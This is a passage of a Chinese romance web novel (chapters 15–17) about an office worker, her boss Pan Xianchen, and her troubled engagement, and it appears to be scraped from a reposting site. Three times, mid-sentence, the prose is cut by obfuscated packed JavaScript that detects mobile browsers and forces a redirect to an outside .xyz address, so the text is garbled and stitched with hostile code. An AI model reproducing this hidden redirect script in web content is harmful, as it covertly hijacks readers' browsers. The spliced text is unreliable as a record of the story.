“怎么又哭了?” 他们同时说道。 文钰转开视线:“我没哭。” 潘羡臣不打算拆穿她,他把巧克力拆盒,从中拾了一块,递过去:“严芊芊这个人看起来疯疯癫癫的,吃喝玩乐还是很在行的。尝尝吧?这是她精挑细选的。” 文钰接过,咬了一角。 潘羡臣目不转睛地盯着她,不说话。时间走到这儿,好像变慢了。他看她的眼神,让文钰想到了报告厅里,叶一诺为他们拍的那张照片。 现在是晚上九点四十五,严芊芊微信告知她要给她送巧克力,没几分钟,潘羡臣就替严芊芊跑了腿。 这么晚了,他们还待在一起吗? 文钰嘴巴嚼嚼嚼。眼前落下一小片灰影,清脆的“咚”一声——潘羡臣曲起手指,轻轻敲了她脑门儿一下。他好笑地说:“又走神了。” 文钰眼神聚焦,落在潘羡臣脸上。她觉得他真是高深莫测,他为什么来?为谁而来?她好像猜不到眼前这男人的想法。但她又不由自主地去猜、去想,像一只锅上的饺,被翻过来翻过去地煎。 说不定真像叶一诺说得那样,这个潘羡臣是个煎饺的老手。 想到这儿,文钰别扭地往后退了一步。 潘羡臣:? 他笑笑,往前进了一步,问:“脚好多了?” “没有,还走不快。” “我看你后退挺快的。”他笑模样逼近,压在文钰眼前,像巨人弯腰。 文钰不得已往后仰,脚瘸了跑不了,就原地钉着。苦了她的腰,像座风雨里飘摇的破拱桥。 “……潘总,太近了。”她咬着唇说。 潘羡臣望着她泛红的脸颊和洁白的脖颈,感叹天底下怎么有这么适配的颜色和部位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270837|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁看了不会浮想联翩呢?他的视线缓缓往下移,轻薄的吊带勾勒出她好看的线条。注意到他的目光,文钰猛地抱紧了自己。 遮什么呢?他一路走来看了一路。 潘羡臣把文钰的腰扶起来:“非工作时间、非工作地点,你不用喊我潘总。” 他把手里的巧克力全递给她,又说:“时间太晚了,你回去吧。以后出门不要这么匆忙,记得披外套。” 文钰拿着巧克力回家。回到楼上的卧室,她把窗帘掀开一道缝,从缝里往下看。 潘羡臣双手插兜,仍站在那儿。他好像在抬头看。文钰的卧室关着灯,他是看不见的。找了一会儿,没有发现,潘羡臣转身离开。他的背影渐渐变小,直至不见。 文钰忍不住给叶一诺发微信。 文小钰:你说,潘和她到底是什么关系呢? 叶一诺秒回。 千金:她?谁? 文小钰:你翻聊天记录。 她们最后的聊天内容还停留在叶一诺告发潘羡臣和严芊芊同乘一车上。 千金:哦,那个小妹妹啊?几百年前的微信消息了,你不回我以为你不在意呢。 文小钰:请你说话不要用夸张手法。 千金:还能什么关系?一起坐车的关系呗。 过了几秒,叶一诺敏锐地意识到什么,激动地问:你是不是又知道了什么?告诉我告诉我告诉我! 文钰抱着手机躺在床上,一会儿滚到左边,一会儿又滚到右边。不知道该不该说。 千金:人呢? 千金:人呢? 千金:人呢? 文小钰:我今天碰到他们了。 千金:什么时候?刚刚?现在? 千金:现在十点多了。 千金:不会吧?不会吧?不会吧?不会是一起睡觉的关系吧? 叶一诺吃瓜吃得兴奋极了,隔日上班的时候,还硬拉着文钰躲到卫生间门口蛐蛐。中午去食堂吃饭,文钰很后悔,早知道她就什么也不说了。这样叶一诺也会正常点,不会吃一口菜又吃一口瓜吃一口菜又吃一口瓜又吃一口瓜又吃一口瓜又吃一口瓜…… “我求你别再说了……”文钰服了她了。 叶一诺恨她不争气,瞪着她说:“好歹你也是女配角之一,怎么一点也不关注故事的发展呢?” “我什么女配角?” “被男主用那种眼神看的女配角。” “……” 文钰恹恹地搅拌着碗里的饭菜:“我早说过,那是角度问题。” 下午,彭雁带着办公室里几个同事出去,文钰留守负责一些文书工作。三点,彭雁发微信通知她让她把刚收到的资料打印,送到潘羡臣办公室去。文钰照做。 潘羡臣接过,大致浏览,放到一边。文钰转身要走。 “等等。”潘羡臣说。 “潘总?” 潘羡臣看着文钰,似笑非笑的神情。他的半框眼镜还架在鼻梁上,有些角度,镜片反射出一片亮光。 “女卫、食堂。还有吗?” “什么?” “你和叶一诺。”潘羡臣提醒。 “……” 他靠在椅背上,双手环胸,问她:“你为什么要造我黄谣?” 15. 第 15 章 文钰没有反驳,更没有说话,她望着潘羡臣的脸,似乎是在分析他此刻的情绪。 没有愤怒,没有厌恶,唇角甚至勾着一抹似有若无的笑。他的眼睛也正专注于她,仿佛只单纯好奇她造谣的原因。 信息量好大。 他怎么什么都知道?女卫、食堂,任何一个说小话的地点,叶一诺都鬼鬼祟祟地四处检查过,并没有可疑人员。她们是确保安全了以后,才开始背后说坏话的。 潘羡臣这么神通广大? 要不就是隔墙有耳。文钰想。她不禁回头瞧了一眼,办公室里还剩几个稀稀拉拉的同事正在工位里敲电脑,是哪双眼睛呢?这么狗腿子。文钰小学一年级下学期就不告老师了,怎么有人这么大了还爱告老师。 “你看什么呢?”潘羡臣问。 “没什么。” 文钰转回来。潘羡臣现在是什么意思呢?批斗她?那为什么不喊上叶一诺?他说她造谣,造什么谣?难道他和严芊芊是清白的?文钰想东想西,像解高数题一样条分缕析。 潘羡臣板着脸,语气却没他脸色那么严肃:“说,你和叶一诺,谁是主谋?” 来了。文钰想。一半一半吧。 但文钰很讲义气地对潘羡臣说:“我。” 潘羡臣不算笑地笑了一下,点点头:“都说我什么了?” “你们坐同一辆车下班。” 潘羡臣要思考一下才想起来严芊芊来他单位混时间,后来他下班就顺便把严芊芊也捎回去,他什么也没想,他觉得自己和货拉拉没什么两样。 这种也算? 潘羡臣的神情总算有点变化,他讶异地说:“你也坐过我的车。” 是啊。文钰心想:但是她和他之间什么也没有啊。 “你们很晚还待在一起。” 又是让人没头没脑的指控。潘羡臣这回懒得回忆了,直接问:“什么时候?” “昨晚。” 哦——潘羡臣想起来,随即反应过来。 文钰继续说:“她想送我巧克力,结果是你帮她跑这一趟的。” 谁帮谁?潘羡臣好笑极了,他到底是为了谁? “然后你们就合起伙来造我黄谣?在单位里议论领导?”潘羡臣总算搞清楚了,这个叶一诺不是个好东西。 “……对不起。” “严芊芊是严致闻严总的女儿,我家和严总家熟识,我和严芊芊也熟识,仅此而已。”潘羡臣从椅背上起来,双肘放在办公桌上,左手又开始弹钢琴,发出嗒嗒嗒的声音,右手随意地拾起桌上的笔转啊转啊。 他说:“你完全误会我了。谣言很假。” 她怀疑他和严芊芊?笑死。不如怀疑怀疑她自己。 潘羡臣顺便为自己正名:“如果我喜欢一个女人,肯定会和其他异性保持距离,绝不会不清不楚。这一点你放心。我厌烦明明是两个人的事,还要多出第三个人。我也绝不会搅和到三个人的关系里去。” 他放下笔,边走边说:“你跟我来。” 潘羡臣带着文钰去了停车场,他吩咐文钰上车,很快启动车子,从单位离开。 文钰问:“潘总,我们要去哪儿?” 潘羡臣说:“到了就知道了。” 一路熟悉的风景渐渐变陌生,接着又渐渐熟悉起来。眼前出现了那古风古韵的竹篱笆,青翠的竹叶在夏风中簌簌作响,锦鲤在水里摇头摆尾,细听,水声潺潺。 文钰一头雾水地跟着潘羡臣走进大门,潘羡臣问前台:“好了吗?” 前台马上点头:“早备好了。” 他用对讲机联系了谁,很快,有另外的人从后厨出来,手里提着精美的礼盒。拿近了,文钰才看清礼盒包装上遒劲地印着“宁家米酒”四个大字。 文钰:“……” 潘羡臣说:“以前没有这样的包装,现在升级了。给你。” 文钰想起之前他们来这家私房菜吃晚饭,潘羡臣便推荐她这里的米酒,但那天晚上他们不欢而散,米酒她没拿。 文钰接过米酒,还是觉得莫名其妙。上班上一半,过来拿米酒? 潘羡臣看腕表,现在四点多。他询问文钰:“晚饭这里吃?” 文钰摇头:“不了,我回家吃。” 潘羡臣点头,率先走出门:“好,我送你回家。” “……现在还没到五点呢。” “偶尔有事提前走,不行吗?”潘羡臣按下车钥匙,迈巴赫的大灯亮起,“和领导一起早退,没人敢说你。” ……好吧。 文钰是不会不接受这个好消息的。 潘羡臣问她想听什么音乐,她说随便;潘羡臣问她车里温度适宜吗,她说还行。潘羡臣就随机挑了轻音乐,温度维持不变。舒缓的大提琴拉奏着,车里萦绕着一种安详的氛围。文钰松下肩膀,也跟着安详起来。 潘羡臣仍是没有问她住址,避开了下班高峰期,顺利地一路绿灯开到了目的地。 车停在别墅群门口。外来车扫不进,要在门岗亭登记。 潘羡臣按下车窗,和门口保安交流着,指了指副驾驶的人,说:“送业主回家。” 车顺利开进去了。 文钰目瞪口呆地看着,潘羡臣笑笑,说:“怎么了?” “感觉你才是住这里的。” 好自然。 潘羡臣就来过一回,直行、打弯,他完全没问她,一点没错地把车开到了她父母的别墅前。认路的本领比狗还牛。 文钰没有立刻下车,她本不打算回到这里。工作日,她往往住和温于一起的那个套间,那里地处市中心,离单位更近,交通也更便利。但是温于出差还未归,今晚再和妈妈同住也没问题。 她短暂回顾了一下这如坠云里雾里的半天,说:“潘总——” 潘羡臣打断她:“现在已经下班了,我和你说过,下班后,不用喊我潘总。” “……” “我比你大几岁,你可以直接喊我名字。” “……” 文钰喊不出口。她干脆省略称呼:“谢谢你送我回来,再见。” 潘羡臣目送她进门。没过一会儿,楼上某个房间的窗前便掠过一道人影。找到了。潘羡臣收回视线,开车出去。成年以后,他就从父母家搬了出去,到市中心另买了一套单住。和父母家距离不算近,但有车,去哪里都方便。 等红灯的时候,他给文钰发微信:我们住得这么近,你可以蹭我的车上下班。 她的车不知道修好没有,就算修好了,她这个脚,也很难自如地开车。 文钰暂时没回复。 宁铠得到消息,第一时间给他打电话:“我的好大儿,不是吧?你硬追?” “你再无痛当爹试试呢?” “好吧好吧,潘羡臣。”宁铠改口,“我听我店里人说,你下午班都不上了,带着上次那瘸女人来拿米酒?” “瘸女人?” “……好吧好吧,反正就上回那个美女。” “怎么?心疼?拿你一盒米酒而已,不必这么小气吧。” 宁铠切一声,说:“你爸爸什么时候小气过?米酒你可以随便拿,但这女人嘛,感觉很难追的样子。” 又当爸爸。 潘羡臣不和他废话,直接掐了电话。 胡晶晶的大铠甲:我不当爸爸了还不行? 胡晶晶的大铠甲:我就是觉得没必要,你什么条件啊,何必去啃硬骨头? 潘羡臣:她哪里硬了?有我硬吗? 胡晶晶的大铠甲:? 胡晶晶的大铠甲:刚刚我说她一句瘸都不行,你现在开黄腔? 潘羡臣:心脏看什么都脏。我陈述事实。 胡晶晶的大铠甲:行,你硬。 胡晶晶的大铠甲:我就是怕你吃苦头。 潘羡臣:你不了解我?我就爱挑战不可能。我想干的事,哪件没成? 胡晶晶的大铠甲:那倒是。 胡晶晶的大铠甲:你这么说,我可就燃起来了啊!那我从现在起,开始当你的爱情保安。 潘羡臣没回他,文钰的微信消息来了,潘羡臣切出去,点进文钰的。 文小钰:不用了吧潘总,多不好意思啊,感觉挺不方便的。 潘羡臣:谁不方便? 文小钰:你。 潘羡臣:没有不方便。并且非常顺路。 文钰不知道怎么回。妈妈在楼下准备晚饭,她很高兴文钰不请自来。文钰躺在卧室的床上休息,一手抱着手机,一手抱着被角。她听到楼下厨房滋滋滋的热油声,有一瞬间,她怀疑这声音不是从楼下传来,而根本是从她胸口处冒出来的。 滋滋滋。滋滋滋。 像寂静的沼泽突然被热到滚烫,滋滋滋地冒着无数小泡。 她当然知道,没有哪个领导会做慈善,会如此体恤受伤的下属。潘羡臣根本不是以领导的身份来帮助她。他说他和严芊芊毫无关系,那能和他发生关系的,会不会是她呢? 文钰急忙从床上爬起来,下楼梯走得急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“妈妈是过来人,你为什么不相信妈妈?这些话我早和你说过了,你以为挑男人是挑衣服?喜欢就买了?”妈妈有点烦躁地扭过头,重新起火,烧下一盘菜,“等温于出差回来,我们得好好聊聊你俩的大事。其他乱七八糟的东西,你就不要想了。你和温于已经不是普通的男女朋友关系,你们订婚了,是未婚夫和未婚妻,喜糖都发出去了。你别想临时变卦,那样你让妈妈那些亲朋好友怎么想?小钰,你和温于木已成舟,你就这么走下去,试试看,好不好?” 文钰回到卧室,手机丢到一边,她把自己卷进被子里。 和以前一样,像鸵鸟似的这么埋一会儿,枕头很快就湿了。 文钰没答应潘羡臣来接她。但一大早出门,文钰还是看见熟悉的黑色迈巴赫等在大门外。 “潘总早!” 文钰弯下腰,对着驾驶位打招呼。 潘羡臣一指副驾驶,催她:“快上车。” 他们一起到单位,又一起乘电梯上楼。潘羡臣去了自己的办公室,文钰慢他几步,挪着挪着挪到自己的工位。 叶一诺从她身后冒出来,手一伸,把自己的滑轮椅拉出来,包都没来得及放下,直接坐到文钰桌旁。 “有进展?” “什么有进展?”文钰看着叶一诺贼眉鼠眼故意压低声音说话的样子装傻。 叶一诺啧一声:“我和你们一起坐电梯上来的。” “……” “潘狗的副驾驶换成你了?女配角上位成女主角了?” “……” 文钰皱眉瞥了叶一诺一眼:“你小心说话,以后不要潘狗潘狗的叫了。” “怎么啦?真成女主角开始管起男主角的外号啦?” “……我们偷偷摸摸说他和严芊芊的事被他发现了。”文钰说,“他现在肯定觉得你不是什么好东西。” “……” 叶一诺心虚地朝潘羡臣的办公室看一眼,几乎是用气音说道:“他在我们身边有眼线?”叶一诺左右看看,似乎是在寻找办公室里可疑的叛徒。但大家都很正常,叶一诺当然一无所获。 “有事微信聊。” 叶一诺又滑着椅子坐回去。 下午,温于给她打了个电话,告诉她他已经到家了。 “你提前回来了?”文钰问。 “嗯,事情办好了就回来了。”温于说,“你妈让我们一起去她那儿吃晚饭。” “……” 文钰能想象到,饭桌上妈妈会和温于说什么。 “喂?” “……嗯。”文钰低低回,“我知道了。” 五点多一点,潘羡臣从办公室出来,找彭雁要报表。路过文钰的办公桌,发现她的位置是空的,电脑是关着的。叶一诺一边收拾东西准备走,一边对潘羡臣说:“五点刚到,就下班了。” “嗯。” 潘羡臣面色如常地回办公室。他打算送文钰回家的,但就差这么一点,居然没逮着人。 他回椅子坐下,重新打开电脑。 16. 第 16 章 直到近八点,潘羡臣才从单位下班。严芊芊这时候给他打电话,开口就喊哥哥。 潘羡臣:“……” 她肯定没憋什么好屁。 严芊芊说:“我刚准备和朋友去酒吧玩呢,都没喝几杯,我爸就来查岗了。他今天不是加班吗?现在居然已经到家了!我不在家,他骂我死哪儿去了。你现在赶快来接我好不好?我怕回迟了我爸又不许我出门了。” 看吧。 潘羡臣说:“我给你转钱,你打个车吧。” 严芊芊:? “为什么?”接一下都不愿意,白认识十八年了。 “你老是莫名其妙坐一个男人的车,不怕被误会吗?”潘羡臣说。 哪里莫名其妙了?严芊芊不解,每次坐潘羡臣的车,不都是有正经事吗?不过,她不知想到了什么,居然很罕见地没有继续胡搅蛮缠,淡淡地“哦”了一声,就挂了电话。 潘羡臣如约给她转钱。严芊芊退回了,回他:不用你的钱,我自己有钱。 夜色很浓。头顶没有一丝云,延续了白天晴空万里的好天气。零零散散的几颗星像提着灯笼的萤火虫,随着车行也缓慢地移动着。夜晚温度适宜,凉风阵阵。潘羡臣关了空调,开着窗户吹风。 他闲适地把左手架在车窗上,头微微偏着,夜风透过高速行驶的车穿进车内,掀起他的碎发。他想了想,调转了车头,改变了原本的目的地。 十来分钟后,他把车停在了别墅群里。 潘羡臣按响严芊芊家门铃的时候,严芊芊正被严致闻批评。严芊芊身上有明显的酒味,她根本没法撒谎。 “严叔叔。”潘羡臣打完招呼,看了严芊芊一眼,严芊芊撇着嘴,被骂得脸色发白。 严致闻忍不住和潘羡臣抱怨:“你知道吗?我问她问了十分钟了,和谁玩、在哪里玩,她就是不肯说!” “我也有交朋友的权利和自由。”严芊芊小声反驳。 “你当然有自由,但我作为你爸爸,也有过问你朋友是谁的义务!” 严致闻气呼呼地坐在沙发上,严芊芊垂头丧气地站在旁边。严芊芊年轻好看还有钱,这种女孩子太容易被人骗了。严致闻很担心严芊芊去外面结交一些不三不四的人,到时候被人坑了还得帮忙数钱呢。 “严叔叔别生气了,芊芊心里有数的。”潘羡臣替严芊芊说话,“今天她和同学聚餐,和我说过的。那几个同学都不是乱来的人,我知道的。” “是吗?”严致闻怀疑地看着严芊芊。 严芊芊忙说:“是的是的!你不信我,总该相信潘羡臣哥哥吧?” 等严致闻被哄走,严芊芊松一口气,像个葛优似的躺在沙发上。她还算有良心,对救兵潘羡臣说:“下次你有需要,我也会豁出去帮你的。” 潘羡臣意味深长地笑笑。 “那谢谢了。只要你别惹祸,今天的谎我就没白撒。” “今天和我一起喝酒的都是我的好朋友,认识很久了。放心吧,我不会让你打脸的。”严芊芊躺了一会儿,忽然想起自己是主人,潘羡臣是客人,忙招呼他,“要不要吃点什么?水果?还是喝点什么?” 潘羡臣想了想,说:“你国外带回来的巧克力,听说挺好吃的。” “我就说吧!”严芊芊得意地笑,“我的眼光,那还有假?文钰姐姐和你说的吧?我问问她,巧克力吃完了没,要不要再送几盒。刚好你在这儿,你再帮我送一下吧!” 几分钟后,潘羡臣得逞地站在了文钰家门前。 他给文钰发微信,让她出来一趟。过了很久,文钰才回复他。他在附近找了棵大梧桐靠着,又过了好几分钟,文钰才出来。远远地,潘羡臣看见她,直起身体,打算埋怨她下来得迟,害他被蚊子吸了好几口血。 但看见文钰的脸,潘羡臣脸上的笑渐渐凝固了。 她是不是又哭过了? 她的脸色也不是很好。 他走近一点,低头问她:“你很难过吗?” 文钰垂着脸没回答。她眼睛里仿佛有点点泪光,像波光粼粼的湖面一样闪闪的,也像夜空里那几颗寥寥的星。潘羡臣感觉到自己的心一下子就软了下来,他忍不住抬手摩挲了一下文钰的脸,似乎想替她擦拭那不知道到底存不存在的泪痕。 潘羡臣不想追问,他对文钰笑了笑,忽然说起另一件事:“米酒喝了吗?” 文钰点头:“喝了。” “好喝吗?” “嗯。” “那要不要跟我换个地方再喝一点?” 文钰盯着他,兀自思考着。潘羡臣继续引诱她:“喝一点浓烈的、刺激的、与众不同的。米酒很温软,很好入口。但有时候,人就是得喝点不温软的才够劲儿。” 文钰回头看了看家的方向,再转回来时,对着潘羡臣点点头。 “好。” 潘羡臣带她去照顾宁铠的生意。 宁铠的清吧照样人少得可怜,处于一种老板没有钱继续烧着它的话,随时都会在下一秒里倒闭的状况。宁铠搞不懂自己的私房菜明明开得这么好,为什么就是盘不活这个清吧。 他的菜是顶级的,酒也一样啊。 潘羡臣领着文钰到卡座坐下,自作主张地替文钰挑了酒。很快,有人把酒端上。文钰垂眸看着玻璃杯里荡漾着的酒精,缓缓地握住它。 “我记得你说过你能少喝一点?” “嗯。”文钰把酒送至嘴边,一口灌下去,说,“但我不想少喝一点。” “……” 潘羡臣看了眼被她一口喝空的酒杯,问:“再来?” “好。” 文钰想换不同的口味,前后点了七八杯不同的酒。潘羡臣看着她满杯又空杯,自己手里的那杯放下不动了。两个来喝酒的人,总要有一个是清醒着的吧。 不间断地喝了那么多,文钰一下子难受起来。头是重的晕的,身体是飘的浮的,舌头是麻的没知觉的。眼前的潘羡臣一下变成两个一下又合成一个,看得文钰眼花缭乱。 她有些踉跄地站起来,问:“卫生间在哪里?” 潘羡臣喊了个女服务生来陪她去卫生间。女服务生很敬业地在门口候着,文钰把自己关在隔间里。温于给她打了几个电话,她没听到。下班后,她和温于回到别墅,妈妈已经摆了满桌的菜等他们。文钰心烦意乱,在饭桌上当着温于的面和妈妈大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270839|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵了一架,因为一点鸡毛蒜皮的小事。 妈妈准备好的正事没说成,文钰被痛骂的时候,她看到了潘羡臣的微信,立刻跑了出去。 温于电话没拨通,很快发来微信。 [你在哪儿?] [你太不懂事了。] [我看到你妈妈难过得都哭了。] 文钰蹲在地上,手机屏幕光照着她红彤彤的脸,看到妈妈哭了,她的眼泪也猛地涌了出来。一直以来都是这样,妈妈哭,她就会哭。她像妈妈的影子,和妈妈做一样的动作。但她似乎不想走在妈妈的轨迹上,她们两个像团乱麻,不舒适地纠缠在一起。 她在卫生间里待得太久了。 潘羡臣担心了,走到卫生间,女服务员示意他文钰还在里面没出来,他点头挥手,让女服务员先行离开。 他守在门口。清吧里几乎没什么客人,卫生间里也空空如也。潘羡臣想冲进去直接把人带出来,但想了想,还是耐着性子站在门外,喊她:“文钰?” 文钰回他:“快了!你回去等我!” 潘羡臣犹豫了几秒,徐徐往回走。文钰不想回复温于,没一会儿,妈妈的微信也发来。 [小钰,你今天太丢脸了。怎么好当着温于的面和妈妈吵成那样?妈妈也跟着你丢脸了。你让温于怎么想我们?] 文钰听着门外的动静,潘羡臣似乎还没走远。她快速地打开隔间门,歪歪扭扭地冲出去。 “潘羡臣!”她大喊。 潘羡臣扭身,看见文钰扶着墙疾步走来。他展开双臂接住她,笑着说:“好难得,你居然喊我的名字。” 清吧里光线昏暗,却不至于看不清人的面目。文钰抬起头,潘羡臣漆黑发亮的眼睛正带着笑意地望着她,她觉得他的眼睛像一汪沉沉的湖,也像一面镜子,文钰在里面看到了自己清晰的倒影。 她的脸在酒精的作用下变得迷醉,眼睛也一样。清吧里播放着不知名的小众音乐,不知从哪儿穿来了风,悠悠转转地萦绕着他们。文钰的长发被吹拂,丝丝缕缕落到她的脸颊上。潘羡臣情不自禁地伸手去抚,毛茸茸的发让他的手指尖发痒,软绵绵的脸蛋好像剥了壳的鸡蛋,他不敢太用力,很轻很轻地触碰着。 “喝了酒有没有高兴一点?”他问。 “没有。”她答。 “那怎么办呢?”他的手虚托着她的脸,大拇指往她的嘴唇上挪。他的动作太轻太慢了,整个过程看起来就像是他的手指在发抖,快到了,快到了,仿佛久旱碰绿洲的旅人,在抵达的那一刻激动地颤抖。 潘羡臣用大拇指感受着文钰红润饱满的唇,随着他手指的挪动,文钰的唇也轻轻扯动着,像一块在盘子里不断摇晃的果冻,摇啊摇啊,然后摇回原位。 文钰眨眨眼睛,唇上酥酥痒痒。她无意识地微张开唇。潘羡臣的手指一下子濡湿,他好想把盘子里的果冻掐碎,再一口一口地吞入腹中。 无人在意的角落,似乎连时间都变得迷离。 潘羡臣用虎口掐住文钰的下巴,使她不得不仰起头。他的嘴唇压到了她的嘴唇上,浓郁的酒香扑鼻而来,同时从他的口腔蔓延到四肢。 果冻被掐碎了。 17. 第 17 章 清吧里寥寥数几的客人在各自饮酒、谈话。调酒师在壮观的酒墙前炫技,有客人对他潇洒的摇晃动作赞不绝口,他们互相调笑着。服务生闲得没事干,三三两两地聚在一起看手机、开玩笑。 这里的每个人都浸在自己的一方小天地中,没有人发现清吧那条窄窄的、寂静的走廊里有两个忘乎所以的人。 文钰站累了,右脚不受控地抖了一下。力的平衡打破了,她不由自主地往后靠去,倒在了走廊冰冷的墙上。咚的一声,她的后脑勺敲了上去。好痛!她皱了皱眉,忍不住惊呼。但她根本没办法发出声音,潘羡臣堵住她,耳边只剩下她破碎的呜咽。 如此沉迷、投入,潘羡臣依旧抽出一只手来,垫在了文钰的脑后。 他发现文钰是个虚架子,看起来高高长长,实际上像那柳枝,软且无力。才几分钟?她还靠着墙,但还是像背后涂油一样一寸寸地滑下去。 潘羡臣忍不住笑话她:“你属泥鳅的?” 他滚烫的手掐住她的腰,又把她撑起来。但没过一会儿,她又要软下去,滑不溜秋,像一汪春水。他把自己和她调转过来,他倚墙,让文钰倒在他身上。没用,她又滑下去。接着他把她高高地抱起来,让她夹住他的腰。不行,文钰的腿完全没有力气,像面条一样在他臂弯里晃悠。 潘羡臣:“……” 好吧。 潘羡臣不禁笑出了声,暂时放过了她。 回到地面,文钰差点膝盖一软要跪下去,潘羡臣拎着她的手臂放到自己的肩上,取笑她:“你怎么这么没用?” “谁没用?” “你。” 文钰眯了眯眼,仔细辨认潘羡臣的脸。潘羡臣目不转睛地盯着她,视线从她光洁的额头、迷乱的双眼落到她红肿的嘴唇上。他忍不住又啄了她一下,问她:“你是清醒的吧?” 文钰没回。 “知道我是谁吗?” “知道。” “知道我们刚刚在干什么吗?” “知道。” “好,知道就好。”潘羡臣满意了,他不想趁人之危,他要她清醒地和他接吻。 “还喝吗?” 文钰摇头。 “那送你回去?” 文钰点头。 潘羡臣笑着掐掐她的脸蛋,肉肉软软的,他好喜欢:“怎么不说话了?” 她含羞带臊地瞥一眼过去:“说什么?” 潘羡臣单手就揽住她的细腰,把她带向自己的胸口:“说说感受?要不评价一下?喜不喜欢和我这样?” 文钰别开脸,不去看他灼灼的目光和兴致勃勃的脸。 他好厚脸皮啊。 “你不说?那轮到我了。”潘羡臣笑着,“你的嘴好软、好香,很好亲。就是你体力不好,我还没有尽兴,你就吃不消了。我建议你去运动,不然我亲着亲着你就没气了。” 文钰:“……” “我很喜欢和你这样,我想多亲几次。”潘羡臣掰正了文钰避开他的脸,看着她的眼睛说,“我还很喜欢你,文钰。” “……” “我喜欢你,文钰。”他又重复了一遍。 潘羡臣把文钰送回别墅,抬头看,那扇四四方方的窗被点亮。他坐在车里,没有立刻离开。现在的他不醉、不困、不累,他有旺盛的精力和兴奋的头脑。 他打电话给宁铠。 宁铠接起:“有事?我在拉屎。” 潘羡臣装作听不到他粗俗的语言,他的精神仍沉浸在刚才那一场风花雪月里。 “我有女朋友了。” 宁铠:? 他看看手机,上面显示的是潘羡臣的名字。第二眼看的是时间,十点多,不算很迟,已经开始说梦话了? “你说什么?我在拉屎我听不见。” “……”潘羡臣想把宁铠按进马桶里冲掉,“我和文钰。” “怎么可能?她之前还对你爱搭不理,一副想快点摆脱你的样子。” 潘羡臣受够了,威胁他:“我劝你说点好听的。” “……你党员不听群众的真话?”宁铠继续犯贱,“而且根据我老婆胡晶晶多年阅读言情小说的经验,她说:爱情故事一般都有起承转合,像你这么顺利的,写个几章就完结了,这不可能。” 潘羡臣冷笑:“照你这意思,我们必须像你和你老婆那样分分合合好几年在一起,才算完结?” “也不是所有完结都要在一起,还有一种结局叫BE。” “滚吧你。” 潘羡臣挂了电话。宁狗是狗,狗嘴里吐不出象牙。 文钰回到房间,回想着这一天。妈妈已经在床上躺下,但她肯定在生她的气,刚刚她到妈妈的床前打招呼、道歉,妈妈一声不吭地翻身,拿屁股对着她。温于也已经不在别墅里,他二十分钟前发了微信,告诉文钰他先回去了。 接着是在清吧里发生的一切。 文钰想:她确实喝多了酒,使今晚的行动都变得格外冲动,使今后的轨迹都偏离了正常。 刚刚她在洗手池用冷水冲脸,夜晚的所有旖旎、迷乱全部冷静,她头疼地思考着事件的发展。潘羡臣是认真的。当然,她也不是乱搞的人。但接下来她该如何去解决和处理呢? 文钰的脑子越来越胀,她支撑不住地倒下,睡死在床上。 她上班迟到了。 看着她急急忙忙地走进办公室,彭雁起身,把她喊到了茶水区。 “二十分钟后回去收拾一下简单的衣物,跟我出趟差。” 文钰惊讶地看了彭雁一眼,又低头看了看自己的脚。彭雁注意到这些,了然地说:“你脚问题不大,现在走路都可以不用拐杖了,渐渐好起来了。你放心,出差不需要多走路,有事我也会照顾你。” 开彭雁的车。有两个男同事轮换着当司机,坐在车前排。文钰和彭雁坐在后排。 很快,下榻酒店。 文钰跟着彭雁出差不是一两次,她得心应手地完成彭雁交代的工作,彭雁也觉得如虎添翼。文钰脚瘸的这些天,彭雁挑这个挑那个,试用了一个又一个,没一个像文钰这样与她有默契。 她必须带着文钰出差。 晚上,她们两个在房间里看电视。白天的工作使她们疲惫,到现在都还没有胃口。彭雁思考着带下属出来干活,不能亏待了人家,她听着电视,眼睛却盯着手机,在里面搜索着本地的美食。过一会儿,和文钰一起出去弄口吃的。 文钰也在看手机,忽然,她猛地从床上坐起,像是吃了一大惊似的。 彭雁狐疑地看了看她,问:“怎么了?” 文钰说:“雁姐,我有事下去一趟。” 彭雁:? 人生地不熟的隔壁城市,你有什么事要下去一趟? 彭雁也跟着起身说:“需不需要我陪同?” “不用。” “那我等你回来一起去吃饭?” “……也不用。” 彭雁更怀疑了,但她还是躺回床上,不放心地嘱咐:“陌生城市,大晚上的,你注意安全。有事随时打我电话。” “好的雁姐。” 文钰换了一套衣服,拿着手机出门了。 她四处看看有没有碰到熟人,没有人,她立马钻进电梯,鬼鬼祟祟地走出酒店。潘羡臣说他就把车停在酒店附近,文钰看了一圈,没找到他的那辆黑色迈巴赫。 这时候,身后忽然伸出一双手,把她勾到了背后人的怀里。她吓了一跳,想大叫,那人凑到她耳边,和她咬耳朵:“嘘——别喊,是我。” 文钰转过身,捶了潘羡臣一下。他笑着把文钰软绵绵的拳头包在自己的掌心里。 “你干嘛这么偷偷摸摸?”文钰控诉。 潘羡臣说:“我在学你。刚刚你不就是这么走出来的吗?一副做贼心虚的模样。” 文钰:“……” 她脸热:“我哪有?” 